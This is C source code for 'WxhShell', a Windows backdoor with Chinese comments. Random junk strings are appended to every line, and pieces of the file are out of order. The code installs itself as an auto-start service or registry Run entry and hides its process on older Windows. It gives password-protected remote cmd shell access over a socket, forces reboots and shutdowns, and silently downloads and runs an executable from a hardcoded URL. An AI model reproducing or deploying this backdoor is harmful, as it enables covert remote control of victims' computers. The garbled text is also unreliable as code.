    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {#N%Bq}  
    if(Boot(SHUTDOWN)) E30Ln_^o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d,UCH  
    else { t ^m~  
    closesocket(wsh); e^zHw^js  
    ExitThread(0); tj[c#@[B  
    } u\f3qc,]F  
    break; d .p'pGL  
    }  c-5Ysg  
  // 获取shell =5?.'XMk  
  case 's': { `%Q&</X  
    CmdShell(wsh); 6AAswz'$P  
    closesocket(wsh); F_ 81l<  
    ExitThread(0); U9 bWU'  
    break; 33 : @*  
  } okstY4f'  
  // 退出 p-xd k|'[  
  case 'x': { D^|9/qm$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w//omF'`  
    CloseIt(wsh); yPoSJzC=[  
    break; gGEIK0\{  
    } eeW`JG-E  
  // 离开 Kk=LXmL2  
  case 'q': { Yk'm?p#~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J#''q"rZ  
    closesocket(wsh); n}JPYu  
    WSACleanup(); 9Sz7\W0  
    exit(1); zW5C1:.3K  
    break; b1xpz1  
        } &))\2pl  
  } 0elxA8Z~e  
  } wx*1*KZ  
<!F3s`7~  
  // 提示信息 JaI Kjn  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aBxiK[[`  
} V&%C\ns4  
  } a.q;_5\5`  
x#r<,uNn,  
  return; nR[^|CAR  
} rEM#D]k  
at| \FOKj  
// shell模块句柄 t"|DWC*  
int CmdShell(SOCKET sock) -uj3'g (;w  
{ ^s-25 6iI  
STARTUPINFO si; JhP\u3 QE  
ZeroMemory(&si,sizeof(si)); h&`y$Jj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _~&9*D$ {>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DZk1ZLz  
PROCESS_INFORMATION ProcessInfo; f@d9Hqr+l;  
char cmdline[]="cmd"; yQ%"U^.m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nxfoWy  
  return 0; ~8{sA5y  
} KP{3iUqvO  
y3JMbl[S0  
// 自身启动模式 Ac`;st%l.  
int StartFromService(void) {$33B'wk  
{ ^_W40/c3  
typedef struct "%@v++4y  
{ X{\jK]O  
  DWORD ExitStatus; ),` 8eQC  
  DWORD PebBaseAddress; v+6e;xl8  
  DWORD AffinityMask;  z)w-N  
  DWORD BasePriority; : G=FiC  
  ULONG UniqueProcessId; t7*#[x)a  
  ULONG InheritedFromUniqueProcessId; 3{ "O,h  
}   PROCESS_BASIC_INFORMATION; .3X Y&6  
A gWPa.'3  
PROCNTQSIP NtQueryInformationProcess; +qy6d7^  
U\vY/6;JI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ` >U?v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cG_Vc[  
q.W>4 k  
  HANDLE             hProcess; p$XKlg&  
  PROCESS_BASIC_INFORMATION pbi; a <wL#Id  
{v,)G)obWw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -c+]Wm"\  
  if(NULL == hInst ) return 0; i=#F)AD^5#  
!OAvD#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %u!b& 5]e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !MV@) (.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W5 ec  
#|f~s  
  if (!NtQueryInformationProcess) return 0; JN(-.8<  
 uMd. j$$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BJy;-(JP  
  if(!hProcess) return 0; +>tUz D  
Fr [7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >cgpajx*  
tJU-<{8  
  CloseHandle(hProcess); .zkP~xQ~  
Md&WJ };L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eB]R3j{  
if(hProcess==NULL) return 0;  rLv;Y  
Ia4)uV8  
HMODULE hMod; {/ 2E*|W~I  
char procName[255]; Mu&x_&|  
unsigned long cbNeeded; (CE7j<j  
MKg,!TELe  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t'(1I|7  
7x k|+!  
  CloseHandle(hProcess); /+[63=fl  
1@qgF  
if(strstr(procName,"services")) return 1; // 以服务启动 +B"0{>n}F  
;rR/5d1!  
  return 0; // 注册表启动 %!|O.xxRR  
} Mvcfk$pA  
ar ^i|`D  
// 主模块 Or+p%K}-7  
int StartWxhshell(LPSTR lpCmdLine) RE"^ )-  
{ cUk*C  
  SOCKET wsl; \?lz&<  
BOOL val=TRUE; 5v _P Oq  
  int port=0; fZ{[]dn[  
  struct sockaddr_in door; |FNCXlgZ  
`JURQ:l)3^  
  if(wscfg.ws_autoins) Install(); Nneo{j  
;rHO&(h-  
port=atoi(lpCmdLine); DBgMC"_   
^jSsa  
if(port<=0) port=wscfg.ws_port; T@ YGB]*Y  
h{'t5&yY  
  WSADATA data; }NCL>l;q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -x*2t;%z{U  
B\CN<<N>dD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K5 KyG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,6"l(]0  
  door.sin_family = AF_INET; 8e2?tmWM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #Dy?GB08  
  door.sin_port = htons(port); TqAPAHg  
BmBz}:xMez  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %X1x4t]  
closesocket(wsl); Xm!-~n@-m7  
return 1; v~)LO2y   
} s0"e'  
{D`T0qPT[  
  if(listen(wsl,2) == INVALID_SOCKET) { osP\D iQ  
closesocket(wsl); $l[Rh1z`;+  
return 1; ftbpqp'  
} 01@t~v3!Z  
  Wxhshell(wsl); 7 hw .B'7  
  WSACleanup(); 04@cLDX8uB  
RHY4P4B<v>  
return 0; 9 c3E+  
EL{vFP  
} nt :N!suP3  
8Ogv9  
// 以NT服务方式启动 F -gE<<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =;L*<I  
{ uGP(R=H  
DWORD   status = 0; _aS;!6b8W  
  DWORD   specificError = 0xfffffff; zJN7<sv  
BlC<`2S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xL "!~dN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >SmV74[s2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,H kj1x  
  serviceStatus.dwWin32ExitCode     = 0; z j{s}*  
  serviceStatus.dwServiceSpecificExitCode = 0; Yl^mAS[w&  
  serviceStatus.dwCheckPoint       = 0; _}6q{}jn:c  
  serviceStatus.dwWaitHint       = 0; dJk9@u  
,!QV>=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;0%OB*lcgE  
  if (hServiceStatusHandle==0) return;  iThSt72  
2I'~2o  
status = GetLastError(); gzn^#3b  
  if (status!=NO_ERROR) a2@c%i  
{ WcUJhi^\C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !36]ud&  
    serviceStatus.dwCheckPoint       = 0; \Y|*Nee}XP  
    serviceStatus.dwWaitHint       = 0; YTaLjITG  
    serviceStatus.dwWin32ExitCode     = status; R^&q-M=O[  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8Cx^0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1Y j~fb(  
    return; YK#fa2ng  
  } Dl\`  
b1?xeG#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =d`5f@'rl  
  serviceStatus.dwCheckPoint       = 0; mI1H!  
  serviceStatus.dwWaitHint       = 0; @x&P9M0g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  :$r ^_  
} 2f:^S/.A  
evuZY X@  
// 处理NT服务事件,比如:启动、停止 BOVPKX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q[4: xkU  
{ fxQN+6;  
switch(fdwControl) _=XX~^I,  
{ 6dqsFns}e  
case SERVICE_CONTROL_STOP: cntco@  
  serviceStatus.dwWin32ExitCode = 0; H*I4xT@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b7:0#l$  
  serviceStatus.dwCheckPoint   = 0; s][24)99  
  serviceStatus.dwWaitHint     = 0; [U{UW4  
  { &:#h$`4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }Fb!?['G5  
  } 4"?^UBr  
  return; SX0_v_%M  
case SERVICE_CONTROL_PAUSE: N@T.T=r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ed!>)Cb  
  break; V A^l+Z,d  
case SERVICE_CONTROL_CONTINUE: pW\'Z Rj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; es:2M |#O  
  break; 6QQfQ,  
case SERVICE_CONTROL_INTERROGATE: qCQ./"8  
  break; 15\Ph[6g  
}; kSncZ0K{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j Ch=@<9  
} , \)a_@@k  
+>f<EPGn  
// 标准应用程序主函数 Q 9F)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W&Y"K)`  
{ mu]as: ~  
(=x"Y{%  
// 获取操作系统版本 D@ek9ARAq  
OsIsNt=GetOsVer(); )u:Q) %$t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #o`Ny4sq/  
` |Z}2vo;j  
  // 从命令行安装 kma?v B  
  if(strpbrk(lpCmdLine,"iI")) Install(); <cN~jv-w$  
m:QG}{<.h  
  // 下载执行文件 B^ 7eoW  
if(wscfg.ws_downexe) { a6xj\w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7*+]wEs  
  WinExec(wscfg.ws_filenam,SW_HIDE); >p\e 0n  
} )(M7lq.e7  
%:v`EjRD0  
if(!OsIsNt) { =qVP]  9  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~#K@ADYr  
HideProc(); :a[Ihqfg  
StartWxhshell(lpCmdLine); tA.`k;LT  
} L71!J0@a#  
else V<Z'(UI  
  if(StartFromService()) -T@`hk`  
  // 以服务方式启动 ~EiH-z4U  
  StartServiceCtrlDispatcher(DispatchTable); n||A" @b\  
else ?i\;:<e4  
  // 普通方式启动 uYI@ 9U  
  StartWxhshell(lpCmdLine); }ET,ysa  
,~PYt*X4  
return 0; 4<,|*hAT  
} ;F:fM!l=  
vsB*rP=  
;i uQ?MR3  
>pyj]y^3  
=========================================== Njc%_&r  
dhPKHrS  
]$-cMX  
8TV;Rtl  
ed 59B)?l  
Q[n\R@  
" DPgm%Xq9(!  
6c4&VW  
#include <stdio.h> x+5k <Xi}  
#include <string.h> SUCU P<G  
#include <windows.h> 9Ru;`  
#include <winsock2.h> /lhz],w  
#include <winsvc.h> }Rvm &?~O  
#include <urlmon.h> sfT+i;p  
RF}X ER  
#pragma comment (lib, "Ws2_32.lib") j-@kW'K  
#pragma comment (lib, "urlmon.lib") +>^7vq-\'  
<Q < AwP  
#define MAX_USER   100 // 最大客户端连接数 vYmSKS  
#define BUF_SOCK   200 // sock buffer -F/st  
#define KEY_BUFF   255 // 输入 buffer 0Wvq>R.(]7  
B0}~G(t(  
#define REBOOT     0   // 重启 -XK0KYhgW  
#define SHUTDOWN   1   // 关机 l*aj#%ha  
?WI3/>:<  
#define DEF_PORT   5000 // 监听端口 od<b!4k~s  
+Lm4kA+aE5  
#define REG_LEN     16   // 注册表键长度 'Ye v} QM  
#define SVC_LEN     80   // NT服务名长度 `|O yRU"EK  
3k$[r$+"  
// 从dll定义API 2/P"7A=<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Et2JxbD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kTIYD o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Fqq6^um  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nt1CTWKM8^  
 v9RW5  
// wxhshell配置信息 *V^ #ga#A  
struct WSCFG { &[R8Q|1 j  
  int ws_port;         // 监听端口 8^^[XbH  
  char ws_passstr[REG_LEN]; // 口令 /c# `5L[  
  int ws_autoins;       // 安装标记, 1=yes 0=no mdih-u(T|  
  char ws_regname[REG_LEN]; // 注册表键名 ITJ q  
  char ws_svcname[REG_LEN]; // 服务名 jn%kG ~]'Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F!!N9VIC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `iKj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 * A|-KKo\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W`rNBfG>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #G]!%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 FyL_xu\e  
e;YW6}'}  
}; mABe'"8  
EOKzzX7 S  
// default Wxhshell configuration Iry  
struct WSCFG wscfg={DEF_PORT, 4NR@u\S  
    "xuhuanlingzhe", G\gMC <3  
    1, /?-7Fg+,  
    "Wxhshell", 6R UrF  
    "Wxhshell", 34|a\b}  
            "WxhShell Service", T$4P_*  
    "Wrsky Windows CmdShell Service", 5r {;CKKz  
    "Please Input Your Password: ", H4-qB Z'  
  1, Yd cK&{  
  "http://www.wrsky.com/wxhshell.exe", er.L7  
  "Wxhshell.exe" al9.}  
    }; x<i}_@Sn_+  
gIEl.  
// 消息定义模块 U!5)5c}G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; neF]=uCWnT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bF}V4"d,B3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <-Bx&Q  
char *msg_ws_ext="\n\rExit."; &<'n^n  
char *msg_ws_end="\n\rQuit."; a?5[k}\  
char *msg_ws_boot="\n\rReboot..."; Z(0@1l`Z-`  
char *msg_ws_poff="\n\rShutdown..."; .y5,x\Pq(  
char *msg_ws_down="\n\rSave to "; ._:nw=Y0<}  
g&/p*c_  
char *msg_ws_err="\n\rErr!"; f3*?MXxb16  
char *msg_ws_ok="\n\rOK!"; K!AAGj`  
/(C~~XP)  
char ExeFile[MAX_PATH]; 7sNw  
int nUser = 0; 1Y xgR}7  
HANDLE handles[MAX_USER]; H&}ipaDO  
int OsIsNt; ^t "iX9  
#<7O08 :  
SERVICE_STATUS       serviceStatus; o`,Qku k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %i0?UpA  
7B9`<{!h  
// 函数声明 >?W[PQ5yx  
int Install(void); &Bb<4R  
int Uninstall(void); @+,pN6}g  
int DownloadFile(char *sURL, SOCKET wsh); L];y}]:F*  
int Boot(int flag); 'WyTI^K9  
void HideProc(void); ?wpB`  
int GetOsVer(void); VxO%rq3  
int Wxhshell(SOCKET wsl); M.}7pJ7f  
void TalkWithClient(void *cs); #b0{#^S:  
int CmdShell(SOCKET sock); vdoZ&Tu  
int StartFromService(void); @MR?6n*k  
int StartWxhshell(LPSTR lpCmdLine); !hxIlVd{  
X*oMFQgP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *DI)?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v`q\6i[-  
XkKC!  
// 数据结构和表定义 QvPD8B  
SERVICE_TABLE_ENTRY DispatchTable[] = ?|;yVew  
{ 5-u=o )>  
{wscfg.ws_svcname, NTServiceMain}, u<ySd?  
{NULL, NULL} eHg3}b2r  
}; "](6lB1Oe  
7XrfuG*L$  
// 自我安装 cvsz%:Vs  
int Install(void) z +2V4s=  
{ wgeNs9L  
  char svExeFile[MAX_PATH]; ']6VB,c`  
  HKEY key; R614#yn-+  
  strcpy(svExeFile,ExeFile); >"X\>M`"  
s'P( ,!f  
// 如果是win9x系统,修改注册表设为自启动 H/F+X?t$0  
if(!OsIsNt) { q]& .#&h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]ekk }0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3*_fzP<R  
  RegCloseKey(key); XhU@W}}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T".]m7!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Mc sTe|X  
  RegCloseKey(key); -7>)i  
  return 0; ("7M b{  
    } }71LLzG`/  
  } /Poet%XvRx  
} (3vHY`9  
else { I XA>`D  
(n( fI f  
// 如果是NT以上系统,安装为系统服务 z;u> Yz+3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0CvsvUN@  
if (schSCManager!=0) t/i5,le  
{ C2e.2)y  
  SC_HANDLE schService = CreateService F-Z%6O,2  
  ( T0HuqJty  
  schSCManager, W\*-xf|"d  
  wscfg.ws_svcname, sE(HZR1  
  wscfg.ws_svcdisp, 8Ad606  
  SERVICE_ALL_ACCESS, %6j)=IOts  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q<tu)Qo  
  SERVICE_AUTO_START, 4NEq$t$Jn  
  SERVICE_ERROR_NORMAL, Z*{] ,  
  svExeFile, ye 6H*K  
  NULL, JM$.O;y -  
  NULL, pz^<\  
  NULL, "LhUxnll  
  NULL, .o{0+fC#  
  NULL 1tzV8(7  
  ); pI`?(5iK6|  
  if (schService!=0) ~.Ik#At  
  { G* %t'jX9  
  CloseServiceHandle(schService); wl=61 Mb  
  CloseServiceHandle(schSCManager); tEd.'D8 s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sf} Dh  
  strcat(svExeFile,wscfg.ws_svcname); k4J8O3E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JD>d\z2QC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [ Mg8/Oy  
  RegCloseKey(key); 2pHR_mrb  
  return 0; ,n,RFa  
    } UK#&lim  
  } 1xyU  
  CloseServiceHandle(schSCManager); W3W'oo  
} T4e\0.If  
} JF9yVE-  
pI+!92Z  
return 1; !X >=l  
} ~iBgw&Y  
#1'\.v  
// 自我卸载 a[bBT@f  
int Uninstall(void) CLD-mx|?  
{ AT Zhr. H  
  HKEY key; AZ|yX  
,"-Rf<q/  
if(!OsIsNt) { ^^` Jcd/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wJb#g0  
  RegDeleteValue(key,wscfg.ws_regname); 2Tav;LKX  
  RegCloseKey(key); SM0M%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5`/@N{e  
  RegDeleteValue(key,wscfg.ws_regname); .@ C{3$,VG  
  RegCloseKey(key); UUo;`rkT  
  return 0; Ko>&)%))$X  
  } f67NWFX  
} }0 hL~i  
} R$kpiqK  
else { =tTqN+4  
2],_^XBvB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @*N )i?>  
if (schSCManager!=0) ]Hj<IvG  
{ 9ch#}/7B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z[!d*O%R_  
  if (schService!=0)  q}Z3?W  
  { T70QJ=,  
  if(DeleteService(schService)!=0) { k#TYKft  
  CloseServiceHandle(schService); 6Z?j AXGSq  
  CloseServiceHandle(schSCManager); @xsP5je]  
  return 0; aMARZ)V  
  } v;#=e$%}MO  
  CloseServiceHandle(schService); W) j|rz.  
  } ?eV(1 Fr@  
  CloseServiceHandle(schSCManager); +Z2MIC|Ud  
} 5M]z5}n/  
} ek aFN\  
cR-~)UyrO  
return 1; Ax3W2s  
} )Ag/Qep  
!;@_VWR  
// 从指定url下载文件 9ILIEm:  
int DownloadFile(char *sURL, SOCKET wsh) tHD  
{ `;,Pb&W~  
  HRESULT hr; 6< J #^ 6  
char seps[]= "/"; YO{GU7  
char *token; m^%|ZTrwN7  
char *file; 9_ICNG%  
char myURL[MAX_PATH]; M/PFPJ >`  
char myFILE[MAX_PATH]; 9n]|PEoAB  
QlFZO4 P3|  
strcpy(myURL,sURL); +YOKA*  
  token=strtok(myURL,seps); wCs3:@UH  
  while(token!=NULL) 7z6 b@$,  
  { \ A1uhHP!  
    file=token; k@>\LR/v  
  token=strtok(NULL,seps); yDb'7(3-  
  } >e5 *prx+  
P=L$;xgp  
GetCurrentDirectory(MAX_PATH,myFILE); |6:=}dE#[  
strcat(myFILE, "\\"); q+SD6qM  
strcat(myFILE, file); 1PaUI#X"2F  
  send(wsh,myFILE,strlen(myFILE),0); b/$km?R  
send(wsh,"...",3,0); :vx$vZb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A|#`k{+1-  
  if(hr==S_OK) L(;WxHL  
return 0; rn@`yTw^  
else U;_[b"SW%  
return 1; 4Ph0:^i_  
%sh>;^58P  
} &MmU  
Hi! Jj  
// 系统电源模块 80}+MWdo  
int Boot(int flag) q:>^ "P{  
{ |as!Ui/J/  
  HANDLE hToken; 3>ex5  
  TOKEN_PRIVILEGES tkp; ] U@o0  
-!RtH |P  
  if(OsIsNt) { 4!62/df  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Gz I~TWc+G  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uaw~r2  
    tkp.PrivilegeCount = 1; ]e:/"   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E! /[gZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); + Y.1)i}  
if(flag==REBOOT) { _R|Ify#J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B@Co'DV[/]  
  return 0; @r(Z%j7  
} I-D^>\k+  
else { xVB;s.'!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {3a&1'a0g  
  return 0; XKL3RMF9r  
} 3gWvmep1  
  } )O+}T5c=  
  else { lv0nEj8F  
if(flag==REBOOT) { Mk<Vydds  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lLq<xf  
  return 0; .%BT,$1K  
} Mk 0+D#  
else { BC>=B@H0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i=a-<A5x  
  return 0; 2'jOP" G  
} wCs^J48=  
} Th[f9H%  
DF]9@{  
return 1; 5  *}R$  
} &ad I (s~  
(;x3} ]  
// win9x进程隐藏模块 <>eOC9;VY  
void HideProc(void) <oKGD50#  
{ }uHrto3M  
Kemw^48ts  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GY3 Wj  
  if ( hKernel != NULL ) W+wA_s2&D  
  { zQ?!f#f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'mCe=Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2=0DCF;Bv  
    FreeLibrary(hKernel); A,-6|&F  
  } ;a=w5,h:  
?PA$Ur21lw  
return; K`&oC8p  
} f|A riM  
z't? ?6  
// 获取操作系统版本  %R#L  
int GetOsVer(void) e:E0"<  
{ 'oNO-)p\#!  
  OSVERSIONINFO winfo; DBLk!~IF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *,C(\!b !?  
  GetVersionEx(&winfo); _EnwME {@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C$Lu]pIL*  
  return 1; r0t^g9K0  
  else (2ur5uk+  
  return 0; H~eRT1  
} vr#+0:|  
-&82$mj  
// 客户端句柄模块 T J^u"j-'  
int Wxhshell(SOCKET wsl) )M=ioE8`h  
{ I&?Qq k  
  SOCKET wsh; Xdi:1wW@p  
  struct sockaddr_in client; ;Mm7n12z C  
  DWORD myID; 7A\Cbu2tf  
7g=2Z[o  
  while(nUser<MAX_USER) k$ 5 s{q  
{ 'ckQg=zPR  
  int nSize=sizeof(client); ,y4I[[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZN"j%E{d  
  if(wsh==INVALID_SOCKET) return 1; O1%pxX'`S  
!Bz0^ 1,L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U<"WK"SM  
if(handles[nUser]==0) gK#mPcn^  
  closesocket(wsh); ]A FI\$qB\  
else ELrsx{p:  
  nUser++; rn DCqv!'P  
  } Gir#"5F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =U[3PC-N @  
i 8!zu!-0  
  return 0; E r/bO  
} Ze< K=Q%(i  
UT~a &u  
// 关闭 socket `k(yZtb  
void CloseIt(SOCKET wsh) }nt* [:%  
{ wIkN9 f  
closesocket(wsh); }(a+aHH  
nUser--; O/:UJ( e{  
ExitThread(0); )%rg?lI  
} 7\_o.(g#-  
8u[-'pV!  
// 客户端请求句柄 }:: S 0l  
void TalkWithClient(void *cs) MT(o"ltQ  
{ PcB_oG g  
f >BWG`  
  SOCKET wsh=(SOCKET)cs; F4=}}k U  
  char pwd[SVC_LEN]; 8x`.26p  
  char cmd[KEY_BUFF]; xI ,2LGO  
char chr[1]; Sxjub&=  
int i,j; sGvIXD  
q'pK,uNW  
  while (nUser < MAX_USER) { /TS=7J#  
OY[e.N t&  
if(wscfg.ws_passstr) { r&-m=Kk$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9a'-Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Uax+dl   
  //ZeroMemory(pwd,KEY_BUFF); Bq/:Nd[y  
      i=0; 7+./zN  
  while(i<SVC_LEN) { Vcd.mE(t%  
3+ >G#W~  
  // 设置超时 hF2IW{=!  
  fd_set FdRead; AM=z`0so  
  struct timeval TimeOut; kq\)MQ"/X  
  FD_ZERO(&FdRead); +C7 ~b~ %  
  FD_SET(wsh,&FdRead); zMIT}$L  
  TimeOut.tv_sec=8; **69rN  
  TimeOut.tv_usec=0; {M,,npl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^Rm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (&$VxuJ+6y  
!lo/xQ<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }b1cLchl  
  pwd=chr[0]; CJ}5T]WZ  
  if(chr[0]==0xd || chr[0]==0xa) { :JlP[I  
  pwd=0; 6TP7b|  
  break; ;lYHQQd!,  
  } P`r55@af4  
  i++; d[rv1s>i  
    } 9@Cv5L?p\  
bINvqv0v  
  // 如果是非法用户,关闭 socket tabT0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P%K4[c W~  
} Wg`R_>qQSm  
ZiLj=bh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [qsEUc+Z.'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V I% 6.6D  
1CLL%\V  
while(1) { )O:0 ]=#))  
26CS6(sn  
  ZeroMemory(cmd,KEY_BUFF); 6(P M'@i  
0'nikLaKy  
      // 自动支持客户端 telnet标准   tHLrhH<w  
  j=0; Ov<NsNX]  
  while(j<KEY_BUFF) { OR[{PU=X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !!Z?[rj  
  cmd[j]=chr[0]; dz Zb  
  if(chr[0]==0xa || chr[0]==0xd) { @k&qb!Qah  
  cmd[j]=0; GfC5z n>  
  break; 6'xsG?{JY  
  } j65<8svl  
  j++; !A48TgAeE  
    } ||yzt!n  
}1IpON  
  // 下载文件 `({T]@]V  
  if(strstr(cmd,"http://")) { LR" 9D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K\|FQ^#UYm  
  if(DownloadFile(cmd,wsh)) Ar~"R4!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); HaIM#R32T  
  else L5MzLE&~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HV<Lf 6gE  
  } b+Br=Fv"T  
